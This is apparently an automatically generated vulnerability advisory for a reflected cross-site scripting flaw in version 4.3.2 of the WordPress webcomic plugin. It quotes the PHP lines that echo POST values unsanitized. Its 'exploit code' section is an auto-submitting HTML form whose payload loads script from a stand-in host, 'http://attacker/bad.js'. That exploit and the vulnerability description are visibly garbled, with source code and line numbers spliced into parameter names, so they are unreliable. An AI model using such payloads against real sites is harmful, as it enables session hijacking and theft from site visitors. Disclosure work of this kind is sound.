Advisory #: 975
Title: Reflected XSS in wordpress plugin webcomic v4.3.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/webcomic
Downloads: 40122
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: webcomic
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./webcomic/-/php/media.php: 580: <input type="hidden" name="webcomic_collection" value="<?php echo $_POST[ "webcomic_collection" ]; ?>"> 581: <input type="hidden" name="webcomic_post_field" value="<?php echo $_POST[ "webcomic_post_field" ]; ?>"> 582: <input type="hidden" name="webcomic_media_field" value="<?php echo $_POST[ "webcomic_media_field" ]; ?>"> 583: <input type="hidden" name="webcomic_date_format" value="<?php echo $_POST[ "webcomic_date_format" ]; ?>"> 584: <input type="hidden" name="webcomic_custom_key" value="<?php echo $_POST[ "webcomic_custom_key" ]; ?>"> The variable webcomic_collection" ]; ?>"> 581: <input type="hidden" name="webcomic_post_field" value="<?php echo $_ appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./webcomic/-/php/media.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/webcomic/-/php/media.php method=post> <input type=hidden name=webcomic_collection" ]; ?>">
  4. 581:							<input type="hidden" name="webcomic_post_field" value="<?php echo $_ value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>